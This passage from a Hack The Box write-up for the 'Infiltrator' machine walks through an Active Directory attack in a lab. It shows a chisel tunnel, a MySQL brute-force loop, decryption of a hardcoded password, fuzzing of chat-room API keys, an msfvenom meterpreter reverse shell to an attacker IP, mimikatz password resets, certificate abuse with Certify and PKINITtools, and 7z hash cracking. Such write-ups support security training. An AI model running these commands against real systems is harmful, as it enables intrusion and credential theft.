Instead of using the Ligolo-ng tunnel, let’s try forming a SOCKS5 proxy over Chisel. First, I’ll set up the server:
sudo ufw allow from $RADDR to any port 9999
./chisel server --port 9999 --reverse &
Now, on the target, I’ll download chisel.exe from my attacker-controlled HTTP server and run it in client mode, in the background:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.13:8001/chisel.exe", "C:\Users\m.harris\AppData\Local\Temp\chisel.exe")
Invoke-Command -ScriptBlock { Start-Process -NoNewWindow -FilePath "C:\Users\M.harris\AppData\Local\Temp\chisel.exe" -ArgumentList "client 10.10.14.13:9999 R:1080:socks" }
Finally, let’s try brute-forcing a credential:
# Add a few suspected usernames, like "root" "outputmessenger" and "om":
cp domain_users.txt domain_users_plus.txt
vim domain_users_plus.txt
# Add the new password we found:
echo 'D3v3l0p3r_Pass@1337!' >> known_passwords.txt
# Attempt to brute-force MySQL over the SOCKS5 proxy
while IFS= read -r pw; do
while IFS= read -r usr; do
echo -e "\nTrying credential ... $usr : $pw";
proxychains mysql -h 127.0.0.1 -P 14406 -u "$usr" -p"$pw";
done < domain_users_plus.txt;
done < known_passwords.txt
😞 No results.
Output Messenger as m.harris
We’ve already confirmed that the new password is valid for Kerberos, and not valid for MySQL, but what about OutputMessenger?

The credentials work. The Chat Room conversations are the same, but now we have access to a new conversation between Admin and M.harris:

🎉 A copy of UserExplorer.exe - perfect! That’s exactly what I needed. Well, it would be… if I could download it 😥 Clicking on the Download button only results in a mess of errors shown in the console.
Thankfully, it didn’t take much troubleshooting to figure it out. Apparently, the Linux client fails to initialize the directory to place its downloads. To fix it, we can define it manually from Settings > Other Options > Chat and setting Storage Folder to a valid directory:

Now that we have a copy of this supposedly-flawed software, it would be wise to take a look at how it works.
Reverse-Engineering
Strings
What’s the first thing you should do during any RE? Yep - just run strings! Seeing even a few of these function calls is enough to know that they’re actually using AES for this program:
Decryptor
LdapApp
cipherText
System.Security.Cryptography
System.Text
get_UTF8
GetBytes
SymmetricAlgorithm
set_Key
Byte
System
set_IV
ICryptoTransform
get_Key
get_IV
CreateDecryptor
MemoryStream
System.IO
Convert
FromBase64String
CryptoStream
BinaryNinja
My usual reverse engineering tool is BinaryNinja. I’ve never tried it with an .exe file, though.
Unfortunately, it seems that we can pretty much only take a look at the disassembled byte code. Still, we can see a LOT about how the program would work, just by reading the UTF8 encoded bytes:

Pay close attention to where the encoding switches (the highlighted area). We can read every second character to decipher a few details:
LDAP://dc01.infiltrator.htb. Clearly the LDAP address that the program uses for account-lookups.- The username
winrm_svc TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=. Clearly a chunk of text that is clearly base64-encoded…- It doesn’t decode to valid/printable text.
b14ca5898a4e4133bbce2ea2315a1916. A 32-character hex string (16 bytes). It’s shown little further down, not shown in the above screenshot.- An MD5 hash?
- An NT hash?
- Something to do with AES, like a key or an IV?
I could investigate this, but it would be a lot of guesswork. At the advice of another HTB player, I’ll stop messing around with disassembly view and use a better tool, ILSpy 👁️
ILSpy
It’s able to give us a much clearer picture of what’s going on, by decompiling into C#. The program is very short; just examining the argument-parsing part of main() tells us pretty much everything:
using System;
using System.DirectoryServices;
private static void Main(string[] args)
{
string text = "LDAP://dc01.infiltrator.htb";
string text2 = "";
string text3 = "";
string text4 = "";
string text5 = "winrm_svc";
string cipherText = "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=";
for (int i = 0; i < args.Length; i += 2)
{
switch (args[i].ToLower())
{
case "-u":
text2 = args[i + 1];
break;
case "-p":
text3 = args[i + 1];
break;
case "-s":
text4 = args[i + 1];
break;
case "-default":
text2 = text5;
text3 = Decryptor.DecryptString("b14ca5898a4e4133bbce2ea2315a1916", cipherText);
break;
default:
Console.WriteLine($"Invalid argument: {args[i]}");
return;
}
}
In short, if we use -default the program attempts to log in using winrm_svc for the username, and decrypts the base64 text (using the 32-character hex as a key) for the password
The static method Decryptor.DecryptString(key, ciphertext) shows us the important details about decryption:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
public static string DecryptString(string key, string cipherText)
{
using Aes aes = Aes.Create();
aes.Key = Encoding.UTF8.GetBytes(key);
aes.IV = new byte[16];
ICryptoTransform transform = aes.CreateDecryptor(aes.Key, aes.IV);
using MemoryStream stream = new MemoryStream(Convert.FromBase64String(cipherText));
using CryptoStream stream2 = new CryptoStream(stream, transform, CryptoStreamMode.Read);
using StreamReader streamReader = new StreamReader(stream2);
return streamReader.ReadToEnd();
}
We can see that the ciphertext gets decoded from Base64 into bytes before decryption. Decryption uses a blank IV, just 16 bytes of zeros. Finally, we can see that the key is interpreted as UTF8 text - even though it looks like hex.
Since this code is only meant to decrypt one thing, using an IV of just zeros isn’t the worst thing ever… but it is very bad cryptography practice, and would help an attacker decrypt the ciphertext
The decompiled code from ILSpy tells us everything we need to know.
Recreating the program in Python
Knowing all of these implementation details, we can easily recreate this code in Python:
Make sure to
pip3 install pycryptodometo run this 👇
from Crypto.Cipher import AES
import base64
KEY = "b14ca5898a4e4133bbce2ea2315a1916"
def decrypt_string(key: str, cipher_text: str) -> str:
key_bytes = key.encode('utf-8')
iv = b'\x00' * 16
cipher = AES.new(key_bytes, AES.MODE_CBC, iv)
data = cipher.decrypt(base64.b64decode(cipher_text))
# PKCS#7 unpadding
pad_len = data[-1]
return data[:-pad_len].decode('utf-8')
if __name__ == '__main__':
cipher_text = "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE="
decrypted = decrypt_string(KEY, cipher_text)
print(f"Decrypted text: {decrypted}")
🤔 This code seems fine, and we can verify it using a simple recipe in Cyberchef. It properly decodes the text, but the result is just… more base-64?

Trying this password with both Kerberos and OutputMessenger fails (yes, I also tried password-spraying again). However, this is supposed to be an LDAP password; perhaps we should try LDAP authentication? Using ldapwhoami is the most direct approach:
ldapwhoami -vvv -H ldap://dc01.infiltrator.htb -D "CN=WINRM_SVC,CN=USERS,DC=INFILTRATOR,DC=HTB" -x -w "SKqwQk81tgq+C3V7pzc1SA=="
# ldap_initialize( ldap://dc01.infiltrator.htb:389/??base )
# ldap_bind: Invalid credentials (49)
# additional info: 80090308: LdapErr: DSID-0C09050F, comment: AcceptSecurityContext error, data 52e, v4563
Transferring our copy of UserExplorer.exe to the target host is what finally makes this all make sense:

That’s it! The -default option actually is broken! Why? Because the hardcoded (encrypted) password is wrong.
💡 I should have known better when I saw that the password decrypted to even more base64. Let’s just make two passes of decryption, instead:
# ...
# same as previous
# ...
if __name__ == '__main__':
cipher_text = "TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE="
decrypted_once = decrypt_string(KEY, cipher_text)
decrypted_twice = decrypt_string(KEY, decrypted_once)
print(f"Decrypted text: {decrypted_twice}")
Running our modified program (or a modified Cyberchef recipe), does the trick:

Let’s test this over LDAP:
ldapwhoami -v -H ldap://dc01.infiltrator.htb -D "CN=WINRM_SVC,CN=USERS,DC=INFILTRATOR,DC=HTB" -x -w 'WinRm@$svc^!^P'
# ldap_initialize( ldap://dc01.infiltrator.htb:389/??base )
# u:INFILTRATOR\winrm_svc
# Result: Success (0)
Alright! We have a new credential: winrm_svc : WinRm@$svc^!^P 👏
winrm_svc
We just recovered a valid LDAP credential. We already know from Bloodhound that winrm_svc is a member of Remote Management Users, so we’re expecting WinRM to work. However, it would be wise to test this credential on all services requiring authentication:
| Service | Username | Password | |
|---|---|---|---|
| ✅ | LDAP | winrm_svc | WinRm@$svc^!^P |
| ✅ | WinRM | winrm_svc | WinRm@$svc^!^P |
| ✅ | OutputMessenger | winrm_svc | WinRm@$svc^!^P |
| ❌ | MySQL (port 14406) | winrm_svc | WinRm@$svc^!^P |
| ❌ | MySQL (port 14406) | root | WinRm@$svc^!^P |
Bloodhound
Before I do anything else, I’ll collect some new data for Bloodhound:
evil-winrm -i dc01.infiltrator.htb -u 'winrm_svc' -p 'WinRm@$svc^!^P'
cd C:\Users\winrm_svc\AppData\Local\Temp
(New-Object Net.WebClient).DownloadFile("http://10.10.14.13:8001/SharpHound.exe", "C:\Users\winrm_svc\AppData\Local\Temp\SharpHound.exe")
.\SharpHound.exe -c All --collectallproperties
download 20250420080741_BloodHound.zip
There’s nothing radically different from the new Bloodhound data. As far as I can tell, the only new thing is that winrm_svc is a member of the Service Management group:

OutputMessenger
For the most part, winrm_svc hasn’t done much chatting on OutputMessenger. Two notable exceptions are their DMs with d.anderson, o.martinez, and a.walker:
Hint 1: d.anderson

Probably not useful anymore, but it explains why d.anderson and l.clark had the same password.
Hint 2: o.martinez
Here’s the chat with o.martinez:

😂 Wow - it’s a good thing winrm_svc asked twice, eh? Sounds like o.martinez has shared their password with the Chiefs_Marketing_chat group chat.
Lining this up with Bloodhound / LDAP, we’re probably safe to assume that the chat has two members: a.walker and o.martinez. More importantly, it means we can probably read the password in plaintext as long as we can find a way to access the chat logs.
Hint 3: a.walker
We find another clue in the DMs with a.walker:

This may seem small, but it indicates that winrm_svc somehow has the ability to grant individuals access to different group chats, which is exactly what we need right now!
Hint 4: Notes
Lastly, we can see a Note that winrm_svc presumably wrote to themself:
Note: this part of the program was ONLY visible using with Windows desktop client. ⭐
It can be installed and ran on Kali using Wine. Not sure why, but I was only successful when I used the 32-bit version.

For copy-pasting sake, that API key is: 558R501T5I6024Y8JV3B7KOUN1A518GG.
Adding a Chat Room
Taking into account hints (2) and (3), my initial reaction was to have winrm_svc add themself to the Chiefs_Marketing_chat group chat. However, it seems that we can’t actually add a new chat room / “group chat” to our own user, much less add ourself to another one…
Below is the Windows client, but I got the same result in the Linux client. The Web client doesn’t even have this option available 🤦♂️

This leads me to conclude that we should probably use the API to add one of our compromised users into the Chiefs_Marketing_chat group chat 🤔
Output Messenger API
As much as I’m beginning to dislike Output Messenger, at least it has a bit of API description. For figuring out thee API, we can reference these two pages:
- https://support.outputmessenger.com/authentication-api/
- https://support.outputmessenger.com/chat-room-api/
Adding a user to the chat room
Much earlier, right after I gained a foothold as m.harris, I found the port running the API, port 14125. Let’s try it again, now that we know more. First, let’s try checking who is already a member of Chiefs_Marketing_chat:
APIKEY=558R501T5I6024Y8JV3B7KOUN1A518GG
curl -s -H "API-KEY: $APIKEY" -X GET http://240.0.0.1:14125/api/chatrooms | jq

Cool, the membership in the group chat matches up to what we expected based on Active Directory group membership: only o.martinez and a.walker are members.
Let’s go ahead and add ourselves (as an administrator):
curl -s -H "API-KEY: $APIKEY" -X PUT "http://240.0.0.1:14125/api/chatrooms/Chiefs_Marketing_chat?roomname=Chiefs_Marketing_chat&roomusers=O.martinez|0,A.walker|0,winrm_svc|1"
# HTTP Error 411. The request must be chunked or have a content length
👀 Maybe it doesn’t like the querystring format. I’ll try it with an actual request body, instead:
curl -s -H "API-KEY: $APIKEY" -H "Content-Type: x-www-form-urlencoded" -X PUT --data 'roomname=Chiefs_Marketing_chat&roomusers=O.martinez|0,A.walker|0,winrm_svc|1' "http://240.0.0.1:14125/api/chatrooms/Chiefs_Marketing_chat"
# {"Message":"No permissoin to access."}
Tried the same thing, but without setting group Admin privileges, and got the same result.
Nope! I guess we can’t do that, even with the API key… 🤔
Obtain chat room logs
There’s another API endpoint at GET /api/chatrooms/logs that, theoretically, allows us to read all logged chat history in a group chat. Unfortunately, the documentation makes very little sense. Why didn’t they just include an example, instead of these silly tags?

😞 I could really go for a nice Swagger API description right about now!
Even if I were to assume that the roomkey is something like a_20250223XXXXXX@infiltrator.htb, it would still be 1 million requests to fuzz out the correct roomkey - impractical, yet not impossible 🤔
Finding roomkey
However, this is a lot of assumptions to make… there must be a better way to find the roomkey.
Wireshark
I’ll try monitorying my ligolo network interface in Wireshark and starting up the Linux client. Since it has to pull the chat history when the application starts, perhaps it’s contacting the API?

It was a solid idea, but it looks like most of the traffic is TLS-encrypted. Interestingly though, we can see that some of the Wall data is sent in plaintext. Regardless, no portion of the traffic I recorded in Wireshark included the roomkey.
Local cache
While somewhat unlikely, it’s possible this data gets cached somewhere on the host where the client is installed. Since it’s most similar to the target, I’ll check out my Wine emulated Windows system.
The typical spot for individual programs’ configurations, logs, and cached data is typically within the user’s AppData folder. Thankfully, my Wine directory is basically empty, so it didn’t take long to find the Output Messenger stuff:

☝️ Upon closer inspection,
OTis probably for Output Tasks andOMis for Output Messenger
cd ~/.wine/drive_c/users/kali/AppData/Roaming/Output Messenger/JAAA
sqlite3 OM.db3
It seems to be an actual, valid SQLite3 database.
-- Check the tables
.tables
-- om_chatroom might have roomkey?
.schema om_chatroom

There it is! Let’s grab the roomkey:
SELECT chatroom_name, chatroom_key FROM om_chatroom;
-- General_chat|20240219160702@conference.com
😮 Wow! I’m sure glad I didn’t bother fuzzing the API assuming that it would be a_20250223XXXXXX@infiltrator.htb. We’ve confirmed that the roomkey for General_chat is 20240219160702@conference.com.
Fuzzing for target roomkey
Let’s make a proof-of-concept for fuzzing:
curl -s -H "API-KEY: $APIKEY" "http://240.0.0.1:14125/api/chatrooms/logs?[roomkey]=20240219160702@conference.com&[fromdate]=2024/02/19&[todate]=2025/04/20"
No response. Frankly, I don’t think square brackets are valid characters in a URI, so I might just chalk this up to bad documentation. Let’s remove them and see what happens:
curl -s -H "API-KEY: $APIKEY" "http://240.0.0.1:14125/api/chatrooms/logs?roomkey=20240219160702@conference.com&fromdate=2024/02/19&todate=2025/04/20"

😍 YES! We are able to read the logs! Since the API key is independent from the winrm_svc user, there’s no reason to think that we can’t read any chat room in the same way, as long as we have the roomkey.
Let’s consider the roomkey format. The first part 20240219 is definitely a datestamp; maybe it’s safe to conclude that the rest is a timestamp? Here’s a simple bash script to make a wordlist out of a range of timestamps:
start="2024-02-19 16:00:00"
end="2024-03-01 23:59:59"
# Convert start and end times to seconds since the epoch
start_sec=$(date -d "$start" +%s)
end_sec=$(date -d "$end" +%s)
# Open the output file for writing (overwrite if it exists)
: > "$output_file"
# Loop through each second from start to end
current_sec="$start_sec"
while [ "$current_sec" -le "$end_sec" ]; do
date -d "@$current_sec" "+%Y%m%d%H%M%S" >> "$output_file"
current_sec=$((current_sec + 1))
done
Just to check that this wordlist is appropriate, I’ll try running ffuf on only 1 day of timestamps (starting a little before the known timestamp of 20240219160702):
ffuf -w timestamps_until_feb_20.txt:TIMESTAMP -H "API-KEY: $APIKEY" -u "http://240.0.0.1:14125/api/chatrooms/logs?roomkey=TIMESTAMP@conference.com&fromdate=2024/02/19&todate=2025/04/20" -t 40 -fs 8293
🐌 At best, I’m getting around 30 requests per second on this… I’ll let this run while I investigate a better way to do this task.
🕥 We already have one previously-unknown result, 20240219165308, so let’s check it out:
APIKEY=558R501T5I6024Y8JV3B7KOUN1A518GG;
TIMESTAMP=20240219165308;
raw=$(curl -s -H "API-KEY: $APIKEY" "http://240.0.0.1:14125/api/chatrooms/logs?roomkey=$TIMESTAMP@conference.com&fromdate=2024/02/19&todate=2025/04/20");
# The response is in JSON but has a predictable size for prefix (55 chars) and suffix (1 char)
trimmed=${raw:55:$((${#raw} - 55 - 1))};
parsed=$(printf "%b" "$trimmed");
echo $parsed > "fuzzing/chat_log-$TIMESTAMP.html";
chromium "fuzzing/chat_log-$TIMESTAMP.html" &
The stylesheet part didn’t parse properly, but the rest looks good:

🎉 Aha - We’ve discovered the Marketing_Team_chat log! This supports the assumption that we can access arbitrary chat logs.
🕧 A few minutes later, I’ve got another result: 20240220014618. Let’s see what we found:

👏 Yes! YES!!! We got it! We’ve found the credential: o.martinez : m@rtinez@1996!
If you look way earlier during the first Bloodhound collection, we took note that o.martinez is the only member of Remote Desktop Users. So while we might not be able to use WinRM directly, we should be able to use RDP.
Olivia Martinez
According to the LDAP info collected much earlier, we should be able to use o.martinez to RDP into the target. Let’s try:
xfreerdp /v:dc01.infiltrator.htb /u:o.martinez /p:m@rtinez@1996!
😞 Nope! That doesn’t work. This suggests that the password is for Output Messenger, and that o.martinez did not reuse their password.
Opening up Output Messenger as o.martinez shows us one conversation we’ve already seen (see screenshot of the rendered API response above), and another conversation that we haven’t yet seen:

It didn’t take long to find the source of these pop-ups. They’re just notifications, being triggered by some recurring calendar item:

Every morning, there are two Events scheduled. Each is a reminder to open a website (http://infiltrator.htb and http://dc01.infiltrator.htb). That’s very odd.
When we open the calendar and schedule a new event, we can see that this “Open Website” thing isn’t just a title, it’s also one of the Actions available for a meeting:
- Meeting
- Leave / Timeoff
- Reminder
- Open Website 👀
- Shut down Computer 😱
- Reboot Computer 💀
Personally, I think this seems like an anit-feature… but what do I know?
I guess that explains why o.martinez is getting “random website popups” every day. She has two recurring events scheduled, each using the Open Website action.
Aside: You MUST use Windows
Until now, I’ve been able to barely scrape by on this box using a combination of:
- Web client
- Linux client (on kali)
- Windows client (x86, via Wine)
Apparently, the Linux client lacks an essential feature for completing this box. Even worse, the Windows client that I’ve been running through Wine won’t even load the Calendar 😒
So if you’re rocking a linux attacker host, like I am, you are completely out of luck.
The Windows client actually has an extra Action available when scheduling an Event, Run Application:
I can only assume that the goal here is to pop a reverse shell using this “feature” 🤦♂️
⚠️ STEP BYPASSED
For reasons out of my control, I can’t obtain or run a Windows VM, so I am completely stuck here.
Moreover, a friend attacking the same box using a Windows VM reports that the box is broken: the Run Application step never worked for them, because it seems that
o.martineznever actually logs in to their computer…Given that this box is broken, and I have no other way, I’ve accepted help from another HTB player to help me bypass this step: they have provided me the
o.martinezNT hash.🛑 I do NOT do this lightly.
I am very, very against “cheating” in HTB. I am only doing this because the “legitimate” intended method for the box appears to be broken.
Since
o.martinezis NOT a member ofRemote Management Users, we can use their membership inRemote Desktop Usersinstead:
Start a reverse shell listener
msfconsole > use multi/handler > set payload windows/meterpreter/reverse_tcp > set LHOST tun0 > exploitCreate a reverse shell
.exe, haveo.martinezsend the file to themself in a chat.msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -f exe LHOST=10.10.14.13 LPORT=4444 -o rev2.exeFrom
m.harris, use mimikatz to change theo.martinezpassword..\mimikatz.exe "lsadump::changentlm /server:dc01.infiltrator.htb /user:o.martinez /old:daf40bbfbf00619b01402e5f3acd40a9 /newpassword:P@ssword123" "exit"Log into the box over RDP using the new password.
xfreerdp /v:dc01.infiltrator.htb /u:o.martinez /p:P@ssword123Open Output Messenger as
o.martinezfrom the RDP session, download the reverse shell.Run the reverse shell.
Discard the NT hash, or ignore that we ever got it from another player.
After completing these steps, we’ve bypassed the “broken” part of this box (and ONLY that one part) 👍
Great! We’ve managed to catch a reverse shell as o.martinez:

Bloodhound collection
o.martinez is in Marketing, so we’re not expecting any privileged access to anything. Regardless, it would be foolish not to collect new Bloodhound data now that we’ve gained access to a new user:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.13:8001/SharpHound.exe", "C:\users\o.martinez\AppData\Local\Temp\SharpHound.exe")
C:\users\o.martinez\AppData\Local\Temp\SharpHound.exe -c All --collectallproperties
But now we are left with the question of how to exfiltrate the data… Thankfully, we can use meterpreter for that.
Be sure to
exitto drop out of theshellto go back to the main meterpreter if necessary. After exfil, go back intoshell
exit
cd 'C:\Users\o.martinez\AppData\Local\Temp'
download 20250422014234_BloodHound.zip
shell
powershell

Is there anything new in Bloodhound, after ingesting the new data?

Not really. However, since my reverse shell was a bit tedious to build, I’d really like to establish persistence in some way. Maybe we can use ADCS with this CLIENTAUTH certificate for persistence?
Certificate Enrolment
If we were to use a certificate to achieve persistence on the target host (actually, the domain), the strategy would be something like:
- Obtain the
clientauthcertificate foro.martinezin.pfxformat. - Find a way to exfil the
.pfxfile to my attacker host - Utilize
getnthash.pyfromPKINITtoolsto get the NT hash foro.martinez(just like we did earlier fore.rodriguezfor the shadow credentials attack) - Pass-the-hash from
mimikatzinlsadump::changentlmmodule to reset the password foro.martinez
⭐ I’m not especially experienced with certificate stuff, so I found this article from PentestLabs very helpful in figuring this out.
If we can make this work, we can simply pop a reverse shell using
RunasCs.exefromm.harris: only two steps to recover our reverse shell!
# Download Certify.exe from attacker host
cd C:\Users\o.martinez\AppData\Local\Temp
iwr "http://10.10.14.13:8001/Ghostpack-CompiledBinaries/Certify.exe" -O Certify.exe
# Check for client auth certificates
.\Certify.exe find /clientauth

From the output of the same command, we can look for a certificate that allows Domain Users to enroll. As expected, the User template allows this. It also grants us the ability to authenticate:

Knowing both the CA name and Template name, we can submit the certificate signing request (CSR):
.\Certify.exe request /ca:dc01.infiltrator.htb\infiltrator-DC01-CA /template:User

This prints the certificate to the console, but does not save a fil;. that’s not a bad thing, since we’ll need this certificate on our attacker host instead. Select BOTH pieces of the certificate, starting with -----BEGIN RSA PRIVATE KEY----- and ending with -----END CERTIFICATE-----, and copy to clipboard.
Start a new file on the attacker host, cert.pem and paste in both pieces. We can then use openssl to convert the .pem file to a .pfx file, which is what we need. This will require assigning a password
Note to self: I used
4wayhandshakeas the.pfxfile password.
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
mv cert.pfx o.martinez.pfx

Password Reset Using Certificate
Obtaining the NT hash
With the .pfx file obtained, we’re basically at the same point that we were at with e.rodriguez after the Shadow Credentials attack. We should be able to once again use gettgtpkinit.py from PKINITTools to obtain a TGT:
cd ~/Tools/PKINITtools; source bin/activate
python gettgtpkinit.py -cert-pfx ~/Box_Notes/Infiltrator/loot/o.martinez.pfx -pfx-pass '4wayhandshake' -dc-ip 'dc01.infiltrator.htb' 'infiltrator.htb/o.martinez' '/home/kali/Box_Notes/Infiltrator/loot/o.martinez.ccache'

This gave wrote the o.martinez.ccache file. Also, we can use the ASREP hash and to obtain the NT Hash:
python3 getnthash.py -key db9c92a3e7d960516f178df9078b98a01f29a0b4543d912a072ff933ed15cbaf -dc-ip $RADDR 'infiltrator.htb/o.martinez'

⚠️ If you somehow managed to complete this box without the bypassed part from earlier, your NT hash will be different than this. This is due to the password change in step (3) of the bypass.
The original NT hash would have been
daf40bbfbf00619b01402e5f3acd40a9.
Password reset
Finally, now that I have the NT hash (and a shell as any domain user), I can perform the password reset using mimikatz:
cd C:\Users\o.martinez\AppData\Local\Temp
iwr "http://10.10.14.13:8001/mimikatz.exe" -O mimikatz.exe
.\mimikatz.exe "lsadump::changentlm /server:dc01.infiltrator.htb /user:o.martinez /old:cb8a428385459087a76793010d60f5dc /newpassword:4wayhandshake" "exit"

For copy-pasting sake, the new NT hash is d12e8c67a0d37a3952ab1dee2ad84882, for password 4wayhandshake.
Local enumeration - o.martinez
Checking a few notable directories, such as C:\Program Files\Output Messenger Server, it seems like o.martinez doesn’t have access to any system-level places that we didn’t before as other users. So what have we gained?
- Access to
C:\Users\o.martinez - RDP access to
dc01.infiltrator.htb
RDP access
RDP access is mostly what makes o.martinez “special”, so let’s check that first:
xfreerdp /v:dc01.infiltrator.htb /u:o.martinez /p:4wayhandshake
👀 It’s a little annoying to use RDP, because there seems to be a very strict time limit on each session (only a couple minutes!)
I noticed in the Task Manager that o.martinez was running powershell. Is that my reverse shell? I’m not sure. However, while navigating to C:\Windows to run powershell.exe over RDP, I noticed something interesting in the file explorer:

Note that the drive is encrypted. When we try to open it, we’re faced with a Bitlocker prompt:

To access this drive, we’ll either need the password or the 48-digit recovery key (Key ID: B6E420DE). We don’t have either of those right now, but I’ll keep an eye out for them 🚩
User directory
Besides RDP, the other thing we’ve gained access to is C:\Users\o.martinez. While there’s nothing inside the common Documents, Desktop or Downloads folders, their hidden AppData folder is full of contents.
Earlier on, when finding the roomkey for the Chiefs_Marketing_chat group chat, we checked our local cache inside the Wine emulated filesystem and found the Output Messenger database and config files within C:\Users\kali\AppData\Roaming. Unsurprisingly, o.martinez has the same spot:

Most of the subfolders are uninteresting, but we note the OM.db3 database (where we can extract roomkey and chat logs, and anything else cached by Output Messenger).

The Received Files folder has more subfolders than expected - but only one contains a file:

😍 a pcapng file? Why?! This is definitely significant. Let’s exfil the OM.db3 file and this network_capture_2024.pcapng file. It’s convenient to just drop back to meterpreter (exit powershell, then exit the system shell):
cd 'C:\Users\o.martinez\AppData\Roaming\Output Messenger\FAAA\'
download OM.db3
download 'Received Files\203301\network_capture_2024.pcapng'

pcapng file
The reason I was so excited about finding this file is that a pcapng is a packet capture file. It is a recording of network activity, usually due to (A) recording it manually in Wireshark or (B) using a tools like tcpdump. Once the packet capture is loaded into Wireshark, it can be analyzed for all kinds of things.

We can right-click any HTTP packet in the bracketed stream and choose Follow > HTTP Stream, which gives us a much more intelligible view of what’s going on, automatically filtering for HTTP traffic:

We’re looking at an HTTP request to GET http://192.168.1.106:5000, which is clearly hosting some File Hosting web app using Flask!
Since there’s clearly some interesting HTTP traffic here, we can get an overview by filtering for just HTTP requests sent to the server, by applying this filter:
ip.dst == 192.168.1.106 && _ws.col.protocol == "HTTP
By default, they’re sorted chronologically, so the Info column is basically a log of requests:

If we look at the next HTTP request/reply in the sequence, we can see a successful login attempt, with a password in plaintext (For brevity, I’ve omitted the response below):
POST /login HTTP/1.1
Host: 192.168.1.106:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://192.168.1.106:5000
Connection: keep-alive
Referer: http://192.168.1.106:5000/
Upgrade-Insecure-Requests: 1
authorization=securepassword
The next HTTP stream shows a GET request to /files. This time, it’s the response body that tells us something interesting. There’s only one uploaded file available, shown inside this Bootstrap Card:
<div class="card h-100">
<div class="card-body">
<h5 class="card-title">BitLocker-backup.7z</h5>
<p class="card-text p-0 m-0"><strong>File type:</strong> Archive</p>
<p class="card-text p-0 m-0"><strong>File size:</strong> 204.42 KB</p>
<p class="card-text p-0 m-0"><strong>Upload date:</strong> 2024-02-24 01:09:29</p>
</div>
<div class="card-footer">
<a href="/view/BitLocker-backup.7z" class="btn btn-success"><i class="fa-solid fa-eye"></i></a>
<a onclick="download_file('/view/BitLocker-backup.7z')" class="btn btn-primary"><i class="fa-solid fa-download"></i></a>
<a onclick="rename_file('/rename/BitLocker-backup.7z')" class="btn btn-warning"><i class="fa-solid fa-pen-to-square"></i></a>
<a onclick="delete_file('/delete/BitLocker-backup.7z')" class="btn btn-danger"><i class="fa-solid fa-trash-can"></i></a>
</div>
</div>
🎉 It’s a Bitlocker backup! Maybe this will allow us to circumvent the encryption on the E:\ drive?
Since we have the password, why not just access this File Hosting web app from our reverse shell or RDP session?
Well, a quick check to
ipconfigshows thatdc01.infiltrator.htbis only in the10.10.11.31/23network, with no other network interface available. Therefore, we have no access to the network where192.168.1.106exists.
Thankfully, we are saved by a later HTTP stream, where the user requests GET /view/raw/BitLocker-backup.7z. The server responds with the raw file contents:

Note the beginning of the response body, starting with 7z - this is the file signature for a 7z archive:

Wireshark has a really handy feature that allows us to save any part of a packet separately. Locating the HTTP response containing the file, we can right click on the Data portion of the packet, and choose Export packet bytes:

We can simply save the exported bytes as Bitlocker-backup.7z 👍
There is another very interesting HTTP request/response in the packet capture, though. After the user downloaded Bitlocker-backup.7z, they appear to have performed a password reset:
POST /api/change_auth_token HTTP/1.1
Host: 192.168.1.106:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.106:5000/files
Authorization: b0439fae31f8cbba6294af86234d5a28
new_auth_token: M@rtinez_P@ssw0rd!
Origin: http://192.168.1.106:5000
Connection: keep-alive
Cookie: session=eyJhdXRob3JpemF0aW9uIjoic2VjdXJlcGFzc3dvcmQifQ.ZdkzzA.K3sT3Ai7Sa9zWQDts-DMTRfp39Y
Content-Length: 0
The new_auth_token custom header gives it away: this is clearly a password related to o.martinez, M@rtinez_P@ssw0rd!.
Bitlocker-backup.7z
🙂 The good news is that saving the file worked perfectly. Our system recognizes it as a valid 7z archive:

☹️ The bad news is that it’s password-protected:

I tried all of the known credentials from this box, but none worked on this 7z archive…
Cracking the password
Do not despair - it’s still possible that the password can be cracked. We’ll use 7z2john to extract the password hash in a crackable format:
7z2john Bitlocker-backup.7z | tee Bitlocker-backup.7z.hash
Note that this records the hash in
filename:hashformat (as if the filename were a username)
We can crack it using hashcat, which immediately recognizes the correct hash mode as 11600:
WLIST=/usr/share/wordlists/rockyou.txt
hashcat BitLocker-backup.7z.hash $WLIST --username
🐢 My usual laptop was only running at 17 H/s, so I switched to my other laptop (with a GPU)…
🔥 Speeds improved to 3800 H/s. Hardware matters!
Alright! We cracked it in about 30s. The password is ilovedaddy 😁
Examining the contents
Now that we have the password, let’s extract it and see what’s inside:
7z x Bitlocker-backup.7z # Password: ilovedaddy
🤕 Huh? ERROR: Data Error in encrypted file. Wrong password? …but it cracked fine. What’s going on?
I guess I’ll try it with john instead of hashcat?
john --wordlist=/usr/share/wordlists/rockyou.txt --format=7z BitLocker-backup.7z.hash
After nearly 5 minutes, we’ve cracked it:

john has cracked the password, but found it to be zipper. Unclear why the two tools would come up with different hashes… Whatever 🙄
7z x Bitlocker-backup.7z # Password: zipper

Thank goodness! Everything is Ok 🤗
There is just a single file inside the extracted archive, Microsoft account _ Clés de récupération BitLocker.html (that’s french for “Microsoft account _ Bitlocker recovery keys”):

Check out the ID de la clé - We’ve seen that before, back when we first saw the E:\ drive Bitlocker prompt (specifically, the recovery method). Let’s check out that disk!
650540-413611-429792-307362-466070-397617-148445-087043
Applying the above recovery key, we can finally unlock the E:\ drive. Oddly, there’s only one thing inside:

In that folder, we see most of the typical top-level folders of the C:\ drive. However, they’re all empty except for Users:

